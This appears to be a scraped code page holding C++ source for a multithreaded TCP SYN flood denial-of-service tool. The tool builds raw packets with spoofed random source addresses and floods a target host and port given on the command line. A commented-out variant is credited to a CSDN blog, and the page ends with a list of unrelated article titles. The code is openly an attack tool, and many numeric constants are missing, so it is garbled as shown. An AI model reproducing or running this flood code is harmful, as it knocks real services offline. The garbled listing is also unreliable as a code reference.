DDOS.H

#pragma once
//g++ ../../../Main.cpp ../../../DDOS.cpp -lpthread
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <pthread.h>
// -lpthread // ./a.out www.baidu.com 80
struct ip
{
unsigned char hl;
unsigned char tos;
unsigned short total_len;
unsigned short id;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}; struct tcphdr
{
unsigned short sport;
unsigned short dport;
unsigned int seq;
unsigned int ack;
unsigned char lenres;
unsigned char flag;
unsigned short win;
unsigned short sum;
unsigned short urp;
}; struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zero;
char protocol;
unsigned short length;
}; class DOS
{
int m_socket = ;
int m_alive = ;
char m_dest_IP[] = { };
int m_dest_Port = -;
struct hostent *m_hostent = NULL;
struct sockaddr_in m_addr;
int m_threadNum = ;
pthread_t *m_thread = NULL;
int m_sendPackageNum = ;
public:
static DOS *getInstance();
void initDos(const char *IP = NULL, const int Port = );
void initDos(const char *IP = NULL, const char *Port = "");
void init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader);
void judge_argc(int argc);
static void sig_int(int alive);
void createSocket();
int setPower();
void run();
void setThread(int thread);
static void *sendFlood(void *addr);
void joinThread();
int closeSocket();
unsigned short inline checksum(unsigned short *buffer, unsigned short size);
private:
DOS();
~DOS();
}; #define FLOOD DOS::getInstance()

DDOS.cpp

#include "DDOS.h"

DOS::DOS()
{
this->m_threadNum = ;
this->m_thread = new pthread_t[this->m_threadNum];
bzero(this->m_thread, this->m_threadNum * sizeof(pthread_t));
}
DOS::~DOS()
{
if (this->m_thread)
{
delete[] this->m_thread;
this->m_thread = NULL;
}
} int DOS::closeSocket()
{
return close(this->m_socket);
} // 信号处理函数,设置退出变量alive
void DOS::sig_int(int alive)
{
//ctrl + c
DOS::getInstance()->m_alive = ;
} DOS *DOS::getInstance()
{
static DOS dos;
return &dos;
} void DOS::judge_argc(int argc)
{
if (argc < )
{
printf("usage: syn ==== <IPaddress>===== <Port>\n");
exit();
}
} void DOS::initDos(const char *IP, const int Port)
{
if (IP == NULL)
{
printf("please input IP");
return;
}
if (Port < || Port >= )
{
printf("Port error\n");
return;
}
strncpy(this->m_dest_IP, IP, strlen(IP));
this->m_dest_Port = Port; bzero(&this->m_addr, sizeof(this->m_addr)); this->m_addr.sin_family = AF_INET;
this->m_addr.sin_port = htons(this->m_dest_Port); if (inet_addr(this->m_dest_IP) == INADDR_NONE)
{
// 为DNS地址,查询并转换成IP地址
this->m_hostent = gethostbyname(this->m_dest_IP);
if (this->m_hostent == NULL)
{
perror("gethostbyname() \n");
exit();
}
this->m_addr.sin_addr = *((struct in_addr*)(this->m_hostent->h_addr));
strncpy(this->m_dest_IP, inet_ntoa(this->m_addr.sin_addr), );
}
else
{
this->m_addr.sin_addr.s_addr = inet_addr(this->m_dest_IP);
} signal(SIGINT, FLOOD->sig_int); FLOOD->createSocket();
FLOOD->setPower(); printf("init Dos\n");
printf("dest ip %s\n", this->m_dest_IP);
printf("dest port %d\n", this->m_dest_Port);
} void DOS::initDos(const char *IP, const char *Port)
{
if (IP == NULL || Port == NULL)
{
printf("please input IP");
return;
}
if (atoi(Port) < || atoi(Port) >= )
{
printf("Port error\n");
return;
}
strncpy(this->m_dest_IP, IP, strlen(IP));
this->m_dest_Port = atoi(Port); bzero(&this->m_addr, sizeof(this->m_addr)); this->m_addr.sin_family = AF_INET;
this->m_addr.sin_port = htons(this->m_dest_Port); if (inet_addr(this->m_dest_IP) == INADDR_NONE)
{
// 为DNS地址,查询并转换成IP地址
this->m_hostent = gethostbyname(this->m_dest_IP);
if (this->m_hostent == NULL)
{
perror("gethostbyname() \n");
exit();
}
this->m_addr.sin_addr = *((struct in_addr*)(this->m_hostent->h_addr));
strncpy(this->m_dest_IP, inet_ntoa(this->m_addr.sin_addr), );
}
else
{
this->m_addr.sin_addr.s_addr = inet_addr(this->m_dest_IP);
} signal(SIGINT, FLOOD->sig_int); FLOOD->createSocket();
FLOOD->setPower(); printf("init Dos\n");
printf("dest ip %s\n", this->m_dest_IP);
printf("dest port %d\n", this->m_dest_Port);
} void DOS::init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
// IP头部数据初始化
ip->hl = ( << | sizeof(struct ip) / sizeof(unsigned int));
ip->tos = ;
ip->total_len = htons(len);
ip->id = ;
ip->frag_and_flags = 0x40;
ip->ttl = ;
ip->proto = IPPROTO_TCP;
ip->checksum = ;
ip->sourceIP = ;
ip->destIP = inet_addr(this->m_dest_IP); // TCP头部数据初始化
tcp->sport = htons(rand() % + );
tcp->dport = htons(this->m_dest_Port);
tcp->seq = htonl(rand() % + );
tcp->ack = ;
tcp->lenres = (sizeof(struct tcphdr) / << | );
tcp->flag = 0x02;
tcp->win = htons();
tcp->sum = ;
tcp->urp = ; //TCP伪头部
pseudoheader->zero = ;
pseudoheader->protocol = IPPROTO_TCP;
pseudoheader->length = htons(sizeof(struct tcphdr));
pseudoheader->daddr = inet_addr(this->m_dest_IP);
srand((unsigned)time(NULL));
} unsigned short inline DOS::checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = ;
while (size > )
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return((unsigned short)(~cksum));
} void DOS::createSocket()
{
// 建立原始socket
//IPPROTO_RAW
//sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
this->m_socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (this->m_socket < )
{
perror("socket() \n");
exit();
}
int on = ;
// 设置IP选项
if (setsockopt(this->m_socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < )
{
perror("setsockopt() \n");
exit();
}
} int DOS::setPower()
{
return setuid(getpid());
} void DOS::setThread(int thread)
{
this->m_threadNum = thread;
} void *DOS::sendFlood(void *addr)
{
char buf[], sendbuf[];
int len;
struct ip ip; //IP头部
struct tcphdr tcp; //TCP头部
struct pseudohdr pseudoheader; //TCP伪头部 len = sizeof(struct ip) + sizeof(struct tcphdr); /* 初始化头部信息 */
FLOOD->init_header(&ip, &tcp, &pseudoheader); /* 处于活动状态时持续发送SYN包 */
while (FLOOD->m_alive)
{
FLOOD->m_sendPackageNum++;
ip.sourceIP = rand();
//计算IP校验和
bzero(buf, sizeof(buf));
memcpy(buf, &ip, sizeof(struct ip));
ip.checksum = FLOOD->checksum((u_short *)buf, sizeof(struct ip));
pseudoheader.saddr = ip.sourceIP;
//计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf, &pseudoheader, sizeof(pseudoheader));
memcpy(buf + sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
tcp.sum = FLOOD->checksum((u_short *)buf, sizeof(pseudoheader) + sizeof(struct tcphdr)); bzero(sendbuf, sizeof(sendbuf));
memcpy(sendbuf, &ip, sizeof(struct ip));
memcpy(sendbuf + sizeof(struct ip), &tcp, sizeof(struct tcphdr));
int sendLen = sendto(FLOOD->m_socket, sendbuf, len, , (struct sockaddr *) addr, sizeof(struct sockaddr));
if (sendLen < )
{
perror("sendto() \n");
pthread_exit(NULL);
}
printf("%s", "\033[1H\033[2J");
printf("Send Package Number = %d \n", FLOOD->m_sendPackageNum);
}
} void DOS::joinThread()
{
int error = -;
for (int i = ; i < this->m_threadNum; i++)
{
error = pthread_join(this->m_thread[i], NULL);
if (error != )
{
perror("pthread_join Error \n");
exit();
}
}
} void DOS::run()
{
int error = -;
for (int i = ; i < this->m_threadNum; i++)
{
error = pthread_create(&this->m_thread[i], NULL, FLOOD->sendFlood, &this->m_addr);
if (error != )
{
perror("pthread_create() \n");
exit();
}
}
}

Main.cpp

/*#include <iostream>
#define Main main int Main(int argc,char **argv)
{ for (int i = 0; i < 10; i++)
{
std::cout << "中文 " << std::endl;
std::cout << "Hello World!" << std::endl;
} return 0;
}
*/ /******************************************************************************
Copyright (C), 2018-2019, xxx Co.xxx, Ltd.
******************************************************************************
File Name : Dos_tcp.c
Version : V1.0
Author : lijd
Created : 2018/12/07
Description : tcp方式Dos攻击编码实现
History :
******************************************************************************/
/*#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h> #define MAXCHILD 128
#define PROTO_NAME "tcp"
#define FAKE_IP "192.168.0.222" static unsigned long dest = 0;
static unsigned short dest_port = 0;
static int PROTO_TCP = -1;
static int alive = -1;
int rawsock = 0; typedef struct dosseg_t {
struct ip iph;
struct tcphdr tcph;
unsigned char data[8192];
}DOSSEG_T; //数据包校验
static unsigned short Dos_cksum(unsigned short *data, int length)
{
register int left = length;
register unsigned short *word = data;
register int sum = 0;
unsigned short ret = 0; while (left > 1)
{
sum += *word++;
left -= 2;
} if (left == 1)
{
*(unsigned char *)(&ret) = *(unsigned char *)word;
sum += ret;
} sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16); ret = ~sum;
return (ret);
} //随机生成攻击请求源端口
static inline long myrandom(int begin, int end)
{
int gap = end - begin + 1;
int ret = 0; srand((unsigned)time(0)); ret = random() % gap + begin;
return ret;
} static void Dos_sig(int null)
{
alive = 0;
printf("stop DoS Attack!\n");
} //构造tcp的请求syn包
void DoS_tcp_pack(char* packet)
{
char *buffer; struct ip* ip_hdr = (struct ip*)packet;
struct tcphdr* tcp_hdr = (struct tcphdr*)(packet + sizeof(struct ip)); //ip头赋值
ip_hdr->ip_v = 4;
ip_hdr->ip_hl = 5;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 64;
ip_hdr->ip_p = PROTO_TCP;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP); //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //攻击的目的主机地址
ip_hdr->ip_sum = Dos_cksum((unsigned short *)ip_hdr, (4 * ip_hdr->ip_hl + sizeof(struct tcphdr) + 1) & ~1); //tcp赋值
tcp_hdr->seq = htonl((unsigned long)myrandom(0, 65535));
tcp_hdr->ack_seq = htons(myrandom(0, 65535));
tcp_hdr->syn = 1;
tcp_hdr->urg = 1;
tcp_hdr->window = htons(myrandom(0, 65535));
tcp_hdr->check = 0;
tcp_hdr->urg_ptr = htons(myrandom(0, 65535));
tcp_hdr->check = Dos_cksum((unsigned short *)tcp_hdr, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1);
} void *Dos_Attack(void *null)
{
DOSSEG_T packet;
struct sockaddr_in to;
DoS_tcp_pack((char *)&packet); to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0); while (alive) //控制发包的全局变量
{
sendto(rawsock,
&packet,
4 * packet.iph.ip_hl + sizeof(struct tcphdr),
0,
(struct sockaddr*)&to,
sizeof(struct sockaddr));
}
} int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i = 0, err = -1;
pthread_t attack_thread[MAXCHILD]; ///* 创建停止信号接收函数
alive = 1;
signal(SIGINT, Dos_sig); if (argc < 3)
{
printf("-------------Invalid input---------------!\n");
return -1;
} protocol = getprotobyname(PROTO_NAME);
if (protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -1;
} PROTO_TCP = protocol->p_proto; //参数1:攻击目的IP 参数2:攻击的目的Port
dest = inet_addr(argv[1]);
dest_port = atoi(argv[2]); if (dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -1;
} memcpy((char *)&dest, host->h_addr, host->h_length);
} //创建原始套接字
rawsock = socket(AF_INET, SOCK_RAW, PROTO_TCP); if (rawsock < 0)
{
printf("Fait to create socket!\n");
return -1;
} //设置IP选项
setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for (i = 0; i < MAXCHILD; i++)
{
err = pthread_create(&(attack_thread[i]), NULL, Dos_Attack, NULL);
if (err)
{
printf("Fail to create thread, err %d, thread id : %d\n", err, attack_thread[i]);
}
} for (i = 0; i < MAXCHILD; i++)
{
pthread_join(attack_thread[i], NULL);
//等待线程结束
} printf("ICMP ATTACK FINISHI!\n");
close(rawsock); return 0;
}*/
//-------------------- -
//作者:码农诗人
//来源:CSDN
//原文:https ://blog.csdn.net/ddazz0621/article/details/84870186
//版权声明:本文为博主原创文章,转载请附上博文链接! /*
README
部分需要库
//在windows上生成会失败
*/ #include "DDOS.h" #define MAXCHILD 128
/* 原始套接字 */
int sockfd;
/* 程序活动标志 */
static int alive = -;
char dst_ip[] = { };
int dst_port; /* CRC16校验 */
unsigned short inline checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = ;
while (size > )
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return((unsigned short)(~cksum));
} /* 发送SYN包函数
* 填写IP头部,TCP头部
* TCP伪头部仅用于校验和的计算
*/
void init_header(struct ip *ip, struct tcphdr *tcp, struct pseudohdr *pseudoheader)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
// IP头部数据初始化
ip->hl = ( << | sizeof(struct ip) / sizeof(unsigned int));
ip->tos = ;
ip->total_len = htons(len);
ip->id = ;
ip->frag_and_flags = 0x40;
ip->ttl = ;
ip->proto = IPPROTO_TCP;
ip->checksum = ;
ip->sourceIP = ;
ip->destIP = inet_addr(dst_ip); // TCP头部数据初始化
tcp->sport = htons(rand() % + );
tcp->dport = htons(dst_port);
tcp->seq = htonl(rand() % + );
tcp->ack = ;
tcp->lenres = (sizeof(struct tcphdr) / << | );
tcp->flag = 0x02;
tcp->win = htons();
tcp->sum = ;
tcp->urp = ; //TCP伪头部
pseudoheader->zero = ;
pseudoheader->protocol = IPPROTO_TCP;
pseudoheader->length = htons(sizeof(struct tcphdr));
pseudoheader->daddr = inet_addr(dst_ip);
srand((unsigned)time(NULL));
} /* 发送SYN包函数
* 填写IP头部,TCP头部
* TCP伪头部仅用于校验和的计算
*/ void *send_synflood(void *addr)
{
char buf[], sendbuf[];
int len;
struct ip ip; //IP头部
struct tcphdr tcp; //TCP头部
struct pseudohdr pseudoheader; //TCP伪头部 len = sizeof(struct ip) + sizeof(struct tcphdr); /* 初始化头部信息 */
init_header(&ip, &tcp, &pseudoheader); /* 处于活动状态时持续发送SYN包 */
while (alive)
{
ip.sourceIP = rand();
//计算IP校验和
bzero(buf, sizeof(buf));
memcpy(buf, &ip, sizeof(struct ip));
ip.checksum = checksum((u_short *)buf, sizeof(struct ip));
pseudoheader.saddr = ip.sourceIP;
//计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf, &pseudoheader, sizeof(pseudoheader));
memcpy(buf + sizeof(pseudoheader), &tcp, sizeof(struct tcphdr));
tcp.sum = checksum((u_short *)buf, sizeof(pseudoheader) + sizeof(struct tcphdr)); bzero(sendbuf, sizeof(sendbuf));
memcpy(sendbuf, &ip, sizeof(struct ip));
memcpy(sendbuf + sizeof(struct ip), &tcp, sizeof(struct tcphdr));
int sendLen = sendto(sockfd, sendbuf, len, , (struct sockaddr *) addr, sizeof(struct sockaddr));
//printf("sendLen %d \n", sendLen);
if (sendLen < )
{
perror("sendto()");
pthread_exit(NULL);
}
//sleep(1);
}
} /* 信号处理函数,设置退出变量alive */
void sig_int(int signo)
{
alive = ;
} /* 主函数 */
int main(int argc, char *argv[])
{
FLOOD->judge_argc(argc); FLOOD->initDos(argv[], argv[]);
FLOOD->run(); FLOOD->joinThread(); //struct sockaddr_in addr;
//struct hostent * host = NULL;
//int on = 1;
//int i = 0;
//pthread_t pthread[MAXCHILD];
//int err = -1;
//alive = 1;
///* 截取信号CTRL+C */
//signal(SIGINT, sig_int); //strncpy(dst_ip, argv[1], 16);
//dst_port = atoi(argv[2]);
//bzero(&addr, sizeof(addr));
//addr.sin_family = AF_INET;
//addr.sin_port = htons(dst_port); //if (inet_addr(dst_ip) == INADDR_NONE)
//{
// /* 为DNS地址,查询并转换成IP地址 */
// host = gethostbyname(argv[1]);
// if (host == NULL)
// {
// perror("gethostbyname()");
// exit(1);
// }
// addr.sin_addr = *((struct in_addr*)(host->h_addr));
// strncpy(dst_ip, inet_ntoa(addr.sin_addr), 16);
//}
//else
//{
// addr.sin_addr.s_addr = inet_addr(dst_ip);
//} //if (dst_port < 0 || dst_port > 65535)
//{
// printf("Port Error\n");
// exit(1);
//}
//printf("host ip=%s\n", inet_ntoa(addr.sin_addr)); ///* 建立原始socket */
////IPPROTO_RAW
////sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
//sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
//if (sockfd < 0)
//{
// perror("socket()");
// exit(1);
//} ///* 设置IP选项 */
//if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
//{
// perror("setsockopt()");
// exit(1);
//} ///* 将程序的权限修改为普通用户 */
//setuid(getpid());
///* 建立多个线程协同工作 */
//for (i = 0; i < MAXCHILD; i++)
//{
// err = pthread_create(&pthread[i], NULL, send_synflood, &addr);
// if (err != 0)
// {
// perror("pthread_create()");
// exit(1);
// }
//} ///* 等待线程结束 */
//for (i = 0; i < MAXCHILD; i++)
//{
// err = pthread_join(pthread[i], NULL);
// if (err != 0)
// {
// perror("pthread_join Error\n");
// exit(1);
// }
//}
//close(sockfd);
return ;
}

最新文章

  1. VS2013发布网站,vs2013发布
  2. Tomcat+ssh+Mysql本地正常,远程服务器中文乱码。(转)
  3. MySQL数据库相关命令
  4. IEEE浮点数表示法之出小数
  5. [BZOJ1618][Usaco2008 Nov]Buying Hay 购买干草
  6. [产品相关] A/B测试终极指南(翻译)
  7. Achieving High Availability and Scalability - ARR and NLB
  8. 分布式消息队列的使用kakfa
  9. This 在 C# 中的含义
  10. 2015第10周三jquery ui position
  11. android Activity切换动画效果
  12. Java内部类的使用小结
  13. shell 常用正则表达式
  14. Unity-NGUI UILabel换行
  15. SLES Install
  16. Nowcoder | [题解-N189]牛客OI赛制测试赛3
  17. mysql 快速生成删除数据库中所有的表的语句
  18. 可能会导致循环或多重级联路径。请指定 ON DELETE NO ACTION 或 ON UPDATE NO ACTION,或修改其他 FOREIGN KEY 约束。
  19. centos7 redmine安装过程
  20. jenkins commande not found

热门文章

  1. webpack 配置之入门一
  2. mysql数据库 --表操作
  3. fork执行一个进程
  4. Effective C++之条款2:尽量以const enum inline替换 #define
  5. 微信小程序-云开发
  6. Can&#39;t finish GitHub sharing process Successfully created project &#39;springcloud-parent&#39; on GitHub,
  7. 【SQL】ON DUPLICATE KEY UPDATE
  8. JavaScript中深拷贝实现
  9. 【Codeforces Round #429 (Div. 2) B】 Godsend
  10. NX二次开发-创建CSYS坐标系UF_CSYS_create_csys